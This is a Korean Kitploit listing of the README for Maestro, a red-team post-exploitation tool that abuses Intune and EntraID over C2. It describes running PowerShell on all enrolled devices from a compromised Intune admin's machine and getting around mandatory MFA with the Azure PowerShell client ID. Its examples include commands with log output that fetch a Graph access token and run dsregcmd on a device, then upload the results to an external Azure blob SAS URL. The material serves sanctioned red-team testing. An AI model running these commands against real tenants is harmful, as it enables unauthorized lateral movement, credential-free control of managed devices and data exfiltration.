Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Maestro — Abusing Azure services over C2 | Kitploit
도구/GitHubGitHub/mayyhem/maestro
Lateral MovementInformation GatheringPost-ExploitationCloud SecurityCommand and ControlAuthenticationRed Teaming
GitHubmayyhem/maestro

Maestro

Abusing Azure services over C2

저장소 보기
380357개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

Sponsored by SpecterOps @_Mayyhem on Twitter

maestro-logo

Maestro

Maestro는 사용자 워크스테이션의 C2 에이전트에서 Intune/EntraID와 상호작용하도록 설계된 post-exploitation 도구로, 사용자의 비밀번호나 Azure 인증 흐름, 토큰 조작, 웹 기반 관리 콘솔에 대한 지식이 필요하지 않습니다. Maestro를 사용하면 운영자가 사용자의 평문 비밀번호를 획득하거나, 시스템에서 PRT(기본 새로 고침 토큰) 쿠키를 추출하거나, 추가 도구나 SOCKS 프록시를 통한 브라우저 세션을 실행하거나, 로그인한 사용자를 대신하여 Azure에서 작업을 수행하기 위해 Azure 인증 흐름·토큰·조건부 액세스 정책을 처리할 필요가 없으므로 C2에서 Intune 및 EntraID(그리고 잠재적으로 다른 Azure 서비스)와의 상호작용이 훨씬 쉬워집니다.

Maestro는 기본적으로 로컬 PRT 쿠키 요청과 Microsoft Graph API 호출을 위한 래퍼이며, 레드 팀을 위한 다양한 편의 기능이 추가되어 있습니다. Maestro는 온프레미스와 Azure 간의 공격 경로를 가능하게 합니다. 예를 들어, Intune 관리자의 머신에서 Maestro를 실행하면 관리자의 자격 증명을 전혀 알지 못한 채 모든 등록 디바이스에서 PowerShell 스크립트를 실행할 수 있습니다. 조건부 액세스 정책이 MFA, 디바이스 규정 준수, 하이브리드 조인 디바이스를 요구하는 경우에도 마찬가지입니다.

Maestro의 측면 이동 기능은 Andy Robbins(@_wald0)의 Death from Above: Lateral Movement from Azure to On-Prem AD에서 영감을 받았습니다.

Maestro에 대한 자세한 내용은 소개 블로그 게시물에서 확인할 수 있습니다: https://specterops.io/blog/2024/10/31/maestro-abusing-intune-for-lateral-movement-over-c2/

기능

  • 실시간 PowerShell 스크립트 실행(Proactive Remediations를 통한)
  • 애플리케이션 실행
  • 실시간 디바이스 쿼리 실행
  • 디바이스 체크인 및 동기화 강제
  • Intune 및 Entra 개체 열거
  • 자격 증명 및 쿼리 결과를 저장하는 로컬 데이터베이스

참고 사항

이 저장소에는 ReleasePlusMSAL 빌드 구성으로 컴파일된 릴리스가 있습니다. 이 구성은 MSAL 종속성을 .exe에 병합하지만 결과 바이너리 크기가 크게 증가합니다. -m 2 방식의 액세스 토큰 요청(MSAL을 통한 SharpGetEntraToken)을 사용할 계획이 없다면 Release 빌드로 컴파일하면 크기가 상당히 줄어듭니다.

2025년 2월부터 Microsoft는 Azure Portal 및 해당 확장에 대한 인증에 필수 MFA 적용을 단계적으로 도입하고 있습니다. 이 경우 인증 코드 흐름을 사용하는 기본 액세스 토큰 요청 방식은 실패할 가능성이 높지만, SharpGetEntraToken/MSAL(-m 2 옵션)을 사용하고 Azure PowerShell(1950a258-227b-4e31-a9cf-717495945fc2)처럼 MFA가 필요 없는 클라이언트 ID를 지정하면 여전히 작동해야 합니다.

구문

Maestro.exe <command> [subcommand] [options]

모든 명령과 하위 명령에는 바이너리 크기를 최소화하기 위해 사용자 지정 명령줄 파서로 생성된 도움말 페이지가 있습니다. 도움말 페이지는 Maestro 명령 뒤에 -h 또는 --help를 입력하여 접근할 수 있습니다.

가장 최신 사용 정보는 각 명령의 --help 옵션 출력을 참조하십시오.

예제는 이 파일 하단에서 확인할 수 있습니다.

다음 버전(vNext)

  • 로컬 Endpoint Privilege Management(EPM) 열거

블로그/발표

  • DEF CON 32 Demo Labs 슬라이드

개발

디버깅을 위해 저는 Visual Studio를 실행하는 호스트에서 접근 가능한 Intune 등록 머신의 디렉터리를 공유하고, Visual Studio 원격 디버거를 실행하며, 솔루션 파일을 공유 폴더에 복사하는 빌드 후 작업을 구성하고, 등록된 시스템에서 원격 디버깅을 수행하도록 Visual Studio를 구성합니다.

후원자

SpecterOps가 오픈소스 개발에 대한 투명성과 지원에 대한 약속의 일환으로 이 프로젝트를 후원해 주지 않았다면, 제가 Maestro를 연구·개발·개선하는 데 투자할 수 있는 시간은 불가능했을 것입니다. 그들의 조언과 지원에 크게 감사드립니다.

기여

Maestro의 일부 기능은 다음을 포함한 다른 사람들의 작업에서 영감을 받았거나 이를 기반으로 구축되었습니다:

  • RequestAADRefreshToken, Lee Chagolla-Christensen(@tifkin_) 작성
  • ROADtoken, Dirk-jan Mollema(@_dirkjan) 작성
  • SharpGetEntraToken, Daniel Heinsen(@hotnops) 작성

협업에 관심이 있다면 Twitter(@_Mayyhem)나 BloodHoundGang Slack으로 연락 주세요!

예제

MSAL과 Azure PowerShell 클라이언트 ID를 사용하여 MS Graph용 액세스 토큰을 가져옵니다(아직 필수 MFA에 의해 차단되지 않음):

root@kitploit:~
.\Maestro.exe get access-token -m 2 -t mayyhem.onmicrosoft.com -c 1950a258-227b-4e31-a9cf-717495945fc2 -s https://graph.microsoft.com/.default
2025-02-06 21:09:24.701 UTC - [INFO]    Execution started
2025-02-06 21:09:24.810 UTC - [INFO]    MSAL DLL loaded and ready for use.
2025-02-06 21:09:24.810 UTC - [INFO]    SharpGetEntraToken attempting to get an access token
2025-02-06 21:09:25.857 UTC - [INFO]    SharpGetEntraToken got an access token:
eyJ0...tDOg
2025-02-06 21:09:25.982 UTC - [INFO]    Completed execution in 00:00:01.3203797

ID가 e537180b-6d04-427e-bf93-dbde818400eb인 Intune 디바이스에서 dsregcmd.exe를 실행하고, 공유 액세스 토큰이 있는 Azure Storage Blob Container SAS URL로 결과를 업로드합니다:

root@kitploit:~
.\Maestro.exe exec intune upload -i e537180b-6d04-427e-bf93-dbde818400eb -n MyPolicy --url 'https://maestro2go.blob.core.windows.net/uploads?st=2025-01-14T20:19:57Z&se=2025-01-15T04:19:57Z&si=All&sv=2022-11-02&sr=c&sig=QYri...ZkpA%3D' --commands "%windir%\system32\dsregcmd.exe"
...
2025-01-14 20:20:28.251 UTC - [INFO]    Creating new device assignment filter with displayName: d004a709-aae6-4fbf-91cd-48f227272c97
2025-01-14 20:20:28.251 UTC - [INFO]    Requesting devices from Intune
2025-01-14 20:20:28.267 UTC - [INFO]    Requesting IntuneDevices from Microsoft Graph
2025-01-14 20:20:28.783 UTC - [INFO]    Found 1 IntuneDevice matching query in Microsoft Graph
2025-01-14 20:20:29.017 UTC - [INFO]    Found 1 devices in filtered results
2025-01-14 20:20:29.361 UTC - [INFO]    Obtained filter ID: 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.379 UTC - [INFO]    Creating custom config policy for device: e537180b-6d04-427e-bf93-dbde818400eb
2025-01-14 20:20:29.649 UTC - [INFO]    Obtained policy ID: fbca5c35-5282-4ec7-87de-a2d16a743079
2025-01-14 20:20:29.680 UTC - [INFO]    Assigning policy fbca5c35-5282-4ec7-87de-a2d16a743079 with filter 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully assigned policy with filter
2025-01-14 20:20:29.983 UTC - [INFO]    Successfully created and assigned diagnostic logs policy with request ID 651d2244-4ad7-4efe-bb5e-d017b0c27750
2025-01-14 20:20:29.999 UTC - [INFO]    Not syncing automatically, execute the following to force device sync:

    .\Maestro.exe exec intune sync -i e537180b-6d04-427e-bf93-dbde818400eb

Clean up after execution:
    .\Maestro.exe delete intune policy -i fbca5c35-5282-4ec7-87de-a2d16a743079
    .\Maestro.exe delete intune filter -i 6fdc043b-4c3a-4f77-b9a3-0d65d9300e64

2025-01-14 20:20:29.999 UTC - [INFO]    Completed execution in 00:00:04.8572902
도구 다운로드